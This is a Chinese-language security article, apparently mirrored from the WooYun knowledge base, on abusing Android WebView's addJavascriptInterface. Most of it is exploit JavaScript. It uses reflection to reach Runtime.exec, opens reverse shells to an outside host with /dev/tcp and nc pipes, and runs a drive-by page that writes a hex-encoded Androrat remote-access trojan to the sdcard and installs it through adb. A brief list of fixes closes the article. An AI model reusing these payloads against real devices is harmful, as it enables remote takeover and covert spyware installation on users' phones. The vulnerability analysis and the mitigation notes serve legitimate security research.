WebView中介面隱患與手機掛馬利用

wyzsk發表於2020-08-19
作者: livers · 2013/09/04 15:21

0x00 背景


在android的sdk中封裝了webView控制元件。這個控制元件主要用開控制的網頁瀏覽。在程式中裝載webView控制元件,可以設定屬性(顏色,字型等)。類似PC下directUI的功能。在webView 下有一個非常特殊的介面函式addJavascriptInterface。能實現本地java和js的互動。利用addJavascriptInterface這個介面函式可實現穿透webkit控制android 本機。

0x01 檢測利用


一般使用html 來設計應用頁面的幾乎不可避免的使用到addJavascriptInterface,包含不限於android瀏覽器。

在android 程式碼程式一般是這樣使用:

#!java
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");

這裡可以用

apk->zip->dex->dex2jar->jdgui->java

程式碼來查詢。

但建議用apktool 反編譯smali(畢竟不是所有apk都能反編譯成java程式碼)

在smali程式碼中 則是類似下列的程式碼:

const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

當檢測到存在上述程式碼時,可以進行進一步驗證利用:

在11年,已經有人利用addJavascriptInterface進行檔案讀寫,並放出簡單的poc,到12年出現了簡單的執行程式碼的exp。利用的是反射回撥java類的內建靜態變數。如下列的利用程式碼;

<script>
function execute(cmdArgs)
{
    return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
…
</script>   

利用java的exec執行linux的shell命令。

0x02 遠端獲取shell


套用yuange的一句話:Poc遠遠小於exp的價值。

利用addJavascriptInterface實現shell.

Android內部的armlinux 是沒有busybox 的,一些常規彈shell的方法被限制。

使用了java的反彈shell方法

//execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);

在Nexus One 4.3的android虛擬機器 並未成功彈出shell.

後發現android中可執行 nc命令 (閹割版的不帶-e的nc)

這裡用了nc的另外一種彈shell的方法完成

Exp 內容:

#!javascript
<script>
function execute(cmdArgs)
{
return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
alert("ok3");
</script>

// 注 xxx 保護隱私用xx代指。

效果如下  enter image description here

當然可以用遠端IP地址。

0x03 遠端掛馬


畢竟是android環境,shell使用不是很方便。類似xsser肯定不滿足於此。

再昇華下,實現網頁掛馬。

Android 4.1已經加入ASLR技術,堆噴射之類不再有效。UAF要針對android的核心版本。利用自身特性的漏洞是目前比較靠譜的方法。

這裡以androrat遠控木馬為例。

實現網頁掛馬

大部分瀏覽器已經對下載檔案進行儲存提示。這裡需要把andrat.apk寫到掛馬網頁之中。

#!javascript
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
} 

var armBinary = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4x80x22x61xE3xAAx42x4DxC7x22x86x4Ax91xA8x14xC4x0Ax56x7CxC2x27x68x1Cx39x57x0Ax53x11x3Bx63x37x06xFEx01x33x1Bx43x17x36x56xFEx07xACx6Dx9FxCBx1Dx3Dx
……
var patharm = "/data/app/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary+ > " + patharm]);
execute(["chmod"," 755 ","/data/app/Androrat.apk"]);

這樣存在幾個問題:

andrat.apk的 hex value大約300k,瀏覽器或者java的exec可能對傳入引數大小有限制,(測試的瀏覽器有限制無法執行)

/data/app/ 目錄存在許可權問題,需要root,chmod 也是同理。

Android這種靜默安裝要麼是有root或者系統簽名的install許可權,要麼是做成預裝軟體的樣子並且重啟。或者是2.2 版本左右可以 透過呼叫隱藏api安裝。

經過進行fuzz實驗,完成了掛馬功能:

#!javascript
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
} 

var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4

var armBinary2="x1BxB0x65x0AxADx23xC2x30x64xDFxEExA1x0DxA4xE8x3Fx61x80xEExBCxE1xE7x7Bx4Ax25x6Fx8Bx36x71xC3x80x81x58xDBxC9x8Fx53x9FxEEx8Ax45xAFx23x54x4AxCFx2Bx52xF2x33x84xBAx82x36xC4x0Dx08xAFxC2x61x8ExD8x7Bx0BxFCx88x4Ax25x24x8Cx22xFAx76x44x78x5Ex99x62x30x44x8DxDBx74x94

var armBinary3=…
var armBinary4=…
……
var patharm = "/mnt/sdcard/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary1+ > " + patharm]);
//alert(a);
execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo  -n +armBinary3+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo -n +armBinary4+ >> " + patharm]);
execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);
alert("over !!!");
</script>

將androrat.apk拆分。

利用echo寫入到sdcard中(此目錄可讀可寫 不可執行)。

利用自身帶的adb進行安裝(安裝各種xx手機助手的不在少數吧)。  enter image description here

Androrat 成功安裝,這裡使用了androrat的debug=true模式。

enter image description here

成功連線到控制端。

0x04 修復


1、Android 4.2 (api17)已經開始採用新的介面函式【java中應該叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升級,瀏覽器需要相容。

2、在使用js2java的bridge時候,需要對每個傳入的引數進行驗證,遮蔽攻擊程式碼。

3、控制相關許可權或者儘可能不要使用js2java的bridge。

Link: http://developer.android.com/reference/android/webkit/WebView.html http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String) http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf http://50.56.33.56/blog/?p=314

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章